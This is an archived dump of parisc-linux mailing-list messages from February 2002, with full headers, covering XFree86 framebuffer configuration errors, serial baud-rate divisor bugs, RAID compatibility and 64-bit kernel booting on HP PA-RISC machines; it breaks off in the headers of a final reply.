	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Feb 2002 14:12:05 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel11.hp.com (Postfix) with ESMTP id 762656001AB
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Feb 2002 13:12:04 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id NAA13988
	for <parisc-linux@lists.parisc-linux.org>; Wed, 6 Feb 2002 13:12:03 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13977




I am facing simila problem and tried the fix suggested
Rather, I don't know whether I have applied the fix xorrectly.
Could anyone please explain how to fix this problem.


Question
----------

And now, an X question :-)

I'm getting this on startup of the X server,

        FBIOPUT_VSCREENINFO: Invalid argument

        Fatal server error:
        AddScreen/ScreenInit failed for driver 0

Any ideas? Ran the release note patch, and upgraded to 2.4.16-pa24 to no

avail. X server is rev 4.1.0-9.0.1.
-----------------------------------------------------

>Date: Wed, 26 Dec 2001 13:51:17 -0800
>To: bheadley@interaccess.com
>From: Christian Suder <csuder@cisco.com>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] Re: XFree86 Question
>
>
>In case you still have the problem, if I remember correctly the reason
>is
>that the XFree config file is generated in a "PC-ish" manner with a
>lot of
>different screen definitions and tries to start X in a >combination the
fb
>device does not support. Edit it to have just an >entry for the type of

>screen you have (likely 1280x1024, 8bit).
>
> Christian

I was having the same problem on a B132L+. This fix got me up and going.

Thanx Christian!

_________________________________________________________________
Join the world?s largest e-mail service with MSN Hotmail.
http://www.hotmail.com




From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: XFree86 Question%26In-Reply-To=%26lt;F272OJlN0hju8qNABIT0000d6c2@hotmail.com>
Date: Wed, 6 Feb 2002 12:49:03 -0900 (AKST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0202061247500.20819-100000@goliath.alaskatech.org>
References: <3C619C13.8293C241@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621044 2682 80.91.229.3 (22 Nov 2014 01:50:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:44 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  6 14:54:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0DD2482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Feb 2002 14:54:56 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GR4SVJ00.U4W for
          <parisc-linux@lists.parisc-linux.org>; Wed, 6 Feb 2002 12:54:55 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GR4SVI02.I4X; Wed, 6 Feb 2002 12:54:54 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA20835;
	Wed, 6 Feb 2002 12:49:03 -0900
In-Reply-To: <3C619C13.8293C241@cup.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13978

On Wed, 6 Feb 2002, Gururaj Ananthateerta wrote:
> I am facing simila problem and tried the fix suggested
> Rather, I don't know whether I have applied the fix xorrectly.
> Could anyone please explain how to fix this problem.
>
> Question
> ----------
>
> And now, an X question :-)
>
> I'm getting this on startup of the X server,
>
>         FBIOPUT_VSCREENINFO: Invalid argument
>
>         Fatal server error:
>         AddScreen/ScreenInit failed for driver 0
>
> Any ideas? Ran the release note patch, and upgraded to 2.4.16-pa24 to no
> avail. X server is rev 4.1.0-9.0.1.

I had the same error when I had my X config set to default to 24-bit color
and the FB wanted 8-bit color. Didn't seem like a very intuitive error :-)

This was on a C180 with default adapter...




From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bwheadley@earthlink.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: XFree86 Question
Date: Wed, 06 Feb 2002 17:45:57 -0600
Lines: 148
Approved: news@gmane.org
Message-ID: <3C61C035.5010205@earthlink.net>
References: <3C619C13.8293C241@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621044 2685 80.91.229.3 (22 Nov 2014 01:50:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb  6 16:46:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cactus.bheadley.org (d174.focal4.interaccess.com [207.208.139.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id A46DD482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Feb 2002 16:46:43 -0700 (MST)
Original-Received: from earthlink.net (IDENT:mJMx3pthXYV7NEMEXJOBpdPCS6BmD3iD@localhost.localdomain [127.0.0.1])
	by cactus.bheadley.org (8.11.6/8.11.6) with ESMTP id g16NjwI15549
	for <parisc-linux@lists.parisc-linux.org>; Wed, 6 Feb 2002 17:46:04 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13979

Gururaj Ananthateerta wrote:
> 
> 
> 
> I am facing simila problem and tried the fix suggested
> Rather, I don't know whether I have applied the fix xorrectly.
> Could anyone please explain how to fix this problem.
> 
> 
> Question
> ----------
> 
> And now, an X question :-)
> 
> I'm getting this on startup of the X server,
> 
>         FBIOPUT_VSCREENINFO: Invalid argument
> 
>         Fatal server error:
>         AddScreen/ScreenInit failed for driver 0
> 
> Any ideas? Ran the release note patch, and upgraded to 2.4.16-pa24 to no
> 
> avail. X server is rev 4.1.0-9.0.1.


The kernel when it boots up displays the colordepth and resolution that 
the frame buffer device will run at. The message scrolls away fast, but 
can be found in your /var/log/messages file.

Another way to get the same info is to run (as root),

	fbset -i

 From my machine, I get:

--
mode "1280x1024"
     geometry 1280 1024 1280 1024 32
     timings 0 0 0 0 0 0 0
     rgba 8/16,8/8,8/0,8/24
endmode

Frame buffer device information:
     Name        :
     Address     : 0xf5000000
     Size        : 8388608
     Type        : PACKED PIXELS
     Visual      : TRUECOLOR
     XPanStep    : 0
     YPanStep    : 0
     YWrapStep   : 0
     LineLength  : 8192
     Accelerator : No
--

This tells me that the framebuffer supports 1280x1024 resolution ONLY. 
If you look on the second line, the last number is 32, which is my 
colordepth (your mileage may vary; I have a C110). I forget where the 
explanation of how 32 bpp is really 24 bpp -- maybe in the X docs 
somewhere, but I knew that already. Here's how I converted that info 
into my XF86Config-4 file:

---
Section "Device"
         Identifier      "Generic Video Card"
         Driver          "fbdev"
         Option          "UseFBDev"              "true"
EndSection

Section "Monitor"
         Identifier      "Generic Monitor"
         HorizSync       30-100
         VertRefresh     50-160
         Option          "DPMS"
EndSection

Section "Screen"
         Identifier      "Default Screen"
         Device          "Generic Video Card"
         Monitor         "Generic Monitor"
         DefaultDepth    24
         SubSection "Display"
                 Depth           1
                 Modes           "1280x1024"
         EndSubSection
         SubSection "Display"
                 Depth           4
                 Modes           "1280x1024"
         EndSubSection
         SubSection "Display"
                 Depth           8
                 Modes           "1280x1024"
         EndSubSection
         SubSection "Display"
                 Depth           15
                 Modes           "1280x1024"
         EndSubSection
         SubSection "Display"
                 Depth           16
                 Modes           "1280x1024"
         EndSubSection
         SubSection "Display"
                 Depth           24
                 Modes           "1280x1024"
         EndSubSection
EndSection
---
Which tells X that my framebuffer supports colordepths from 1 to 32 
(actually 24), and for each, the video resolution is only 1280x1024 (no 
other resolutions supported. If you give it any other resolution(s), 
you'll get the terse FBIOPUT_VSCREENINFO error.

Now, what else? Ah, Gnome & Gtk. Those two, in conjunction with the X 
server and the kernel that came with 0.9.3, do not work. I forget the 
exact error message, but it had to do with saving private information...

Update the kernel. I forget which version had this fixed; I suspect that 
the kernel 'dselect' offers to download will do the trick. If not, get 
the latest sources and roll one.

Can't run X until this is done? (And you can't build a kernel without 
several xterms to entertain?) Well, if you are running Gnone, or a 
window manager that uses Gtk, you're temporarily doomed until you've 
fixed the kernel.

What to do in the meantime? Well, you need to look in the 
/etc/alternatives directory. There's a softlink there called 
'x-window-manager' that points to the window manager you want to run. If 
it's pointing to a Gtk-based on, you're doomed. Go get a copy of 
BlackBox, have the softlink point to that window manager.

While you are at it, check what /etc/alternatives/x-session-manager is 
pointing to. If you're set up for gnome, it points to 
/usr/bin/gnome-session. If kde, /usr/bin/kde2. If you are using a 
"simpler" window manager by itself (like blackbox, fvwm, twm, gwm), the 
link doesn't exist. If you have it, remove it.

Now you can start xinit, fire off a few xterms, get dselect running, get 
the kernel fixed, and have a good time.


-- 
____               .:.                 ____
Bryan W. Headley - bwheadley@earthlink.net




From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Bj=F8rn_Djupvik?= <bjorn@sunshine.equant.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Question about RAID array
Date: Thu, 7 Feb 2002 12:20:38 +0100 (CET)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0202071217510.26774-100000@sunshine.equant.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621045 2687 80.91.229.3 (22 Nov 2014 01:50:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:45 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 04:20:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bone.equant.no (Bone.Equant.no [194.52.172.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF126482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 04:20:39 -0700 (MST)
Original-Received: from sunshine.equant.no (IDENT:500@Sunshine.Equant.no [194.52.172.27])
	by bone.equant.no (8.9.3/8.9.3) with ESMTP id MAA29052
	for <parisc-linux@lists.parisc-linux.org>; Thu, 7 Feb 2002 12:20:38 +0100 (MET)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13980

Hi, I am considering migrating a few boxes from hp-ux to parisc-linux as I
have done this successfully on a 712/100 already.. The boxes in question
are D-class servers (220,230,250,etc) and some of them have jurassic-era
(ancient) C2300 disk arrays attached to them, which I know very little
about. Can anyone confirm that this is going to work under parisc-linux,
I'd like to see a "success story" before I rip out hpux and install Linux
=)

/bd




From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Enrik Berkhan <Enrik.Berkhan@planb.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial baud_base, high baud rates and divisors
Date: Thu, 7 Feb 2002 13:08:52 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <20020207130852.C3306@electra.intern.planb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621045 2693 80.91.229.3 (22 Nov 2014 01:50:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 05:08:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B775482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 05:08:54 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16YnMC-00051V-00; Thu, 07 Feb 2002 13:08:52 +0100
Content-Disposition: inline
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13981

Hi,

when using a 720 (running linux, of course ;-) as serial console
for a 715(old) I've noticed that the terminal (720) produces garbage
when the 715 comes to the firmware prompt (both running at 115200).
This is not a flow control or something problem. Investigating on
that I've found some oddities concerning setserial, baud_base and
the divisor calculation in the serial driver ...

- by default all parisc serial devices' baud_base is set to 454545
  (derived from the LASI UART crystal's frequency). The actual divisor
  is calculated in change_speed() of serial.c to be

  quot = baud_base / baud;

  with all integers. Thus, 454545 / 115200 = 3. The resulting baud
  rate should be something like 454545 / 3 = 151515. That's somewhat
  far away from 115200, explaining the garbage.

- I've made a simple measurement of the actual baud rate using a DMM
  with builtin frequency counter: set the port to 8N1 and outputting
  0x55 continously should produce a square wave of half the baud rate
  frequency at the transmit pin. So I've verified that at least the
  720 seems to have a real baud_base of 460800 (the measured frequency
  was 57.6kHz for a divisor of 4).

- trying to change the baud_base using setserial to 460800 failed with
  EADDRINUSE. I've found the reason to be a loop in set_serial_info():

        /* Make sure address is not already in use */
        if (new_serial.type) {
                for (i = 0 ; i < NR_PORTS; i++)
                        if ((state != &rs_table[i]) &&
                            (rs_table[i].port == new_port) &&
                            rs_table[i].type)
                                return -EADDRINUSE;
        }

  Memory mapped parisc ports all have port == 0, so this has to fail.
  Temporary workaround: `setserial /dev/ttyS1 port 0x10000 ...' once
  will prevent the above loop from finding conflicts.

So, the following things have to be fixed:

- get/set_serial_info have to be enhanced for memory mapped ports
- setserial should be enhanced accordingly
- divisor calculation should be changed at least to round to nearest,
  not round towards zero, or LASI ports might still suffer from the first
  problem _if_ they really have baud_base 454545
- baud_base should be initialized correctly for other gsc based ports.

If someone can confirm my analysis and tell me the direction of how to
fix these things I would be willing to work on it (shouldn't be hard,
maybe boring ;-).

Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kurc, Marcin A." <makurc@cooperstandard.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C240 64-bit kernel
Date: Thu, 7 Feb 2002 07:23:31 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <426B4FEBE684D411B0A60090273B1D24024855EB@aa0016.auburn.auto.cooperintra.ctb>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621045 2695 80.91.229.3 (22 Nov 2014 01:50:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:45 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 05:21:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fa0008.coopertire.com (unknown [63.150.221.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E0EC482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 05:21:49 -0700 (MST)
Original-Received: by FA0008 with Internet Mail Service (5.5.2653.19)
	id <DMR9C0K4>; Thu, 7 Feb 2002 07:21:46 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13982

Hi,
Did anybody got a C240 to boot off of 64-bit kernel?

Marcin Kurc
CAD Systems Administrator
Cooper-Standard Automotive 



From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C240 64-bit kernel
Date: Thu, 7 Feb 2002 13:35:44 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20020207133544.GI5609@sleepie.demon.co.uk>
References: <426B4FEBE684D411B0A60090273B1D24024855EB@aa0016.auburn.auto.cooperintra.ctb>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621045 2721 80.91.229.3 (22 Nov 2014 01:50:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:45 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Kurc, Marcin A." <makurc@cooperstandard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 06:47:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id CB6E3482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 06:47:40 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 43A209E97E; Thu,  7 Feb 2002 13:35:44 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <426B4FEBE684D411B0A60090273B1D24024855EB@aa0016.auburn.auto.cooperintra.ctb>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13983

On Thu, Feb 07, 2002 at 07:23:31AM -0500, Kurc, Marcin A. wrote:
> Hi,
> Did anybody got a C240 to boot off of 64-bit kernel?

I booted a c360 with 64 bit kernel, so it should work.  You have to
build your own kernel though, with CONFIG_PDC_NARROW=y.

Whether there is any point running a 64 bit kernel on a box that has
less that 4G of RAM is a different matter altogether.

Richard





From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C240 64-bit kernel
Date: Thu, 7 Feb 2002 14:17:21 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20020207141721.B17779@parcelfarce.linux.theplanet.co.uk>
References: <426B4FEBE684D411B0A60090273B1D24024855EB@aa0016.auburn.auto.cooperintra.ctb>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621046 2725 80.91.229.3 (22 Nov 2014 01:50:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:46 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Kurc, Marcin A." <makurc@cooperstandard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 07:17:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 989DA482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Feb 2002 07:17:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16YpMX-0005Ez-00; Thu, 07 Feb 2002 14:17:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <426B4FEBE684D411B0A60090273B1D24024855EB@aa0016.auburn.auto.cooperintra.ctb>; from makurc@cooperstandard.com on Thu, Feb 07, 2002 at 07:23:31AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13984

On Thu, Feb 07, 2002 at 07:23:31AM -0500, Kurc, Marcin A. wrote:
> Hi,
> Did anybody got a C240 to boot off of 64-bit kernel?

you need to turn on CONFIG_PDC_NARROW if you do this.  But don't bother,
there is no point in booting a 64-bit kernel on a C240.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial baud_base, high baud rates and divisors
Date: Thu, 7 Feb 2002 15:41:34 +0100
Organization: SAP LinuxLab
Lines: 22
Approved: news@gmane.org
Message-ID: <E16Ypjz-0000uP-00@linuxlab.wdf.sap-ag.de>
References: <20020207130852.C3306@electra.intern.planb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621046 2726 80.91.229.3 (22 Nov 2014 01:50:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:46 +0000 (UTC)
To: Enrik Berkhan <Enrik.Berkhan@planb.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb  7 07:41:41 2002
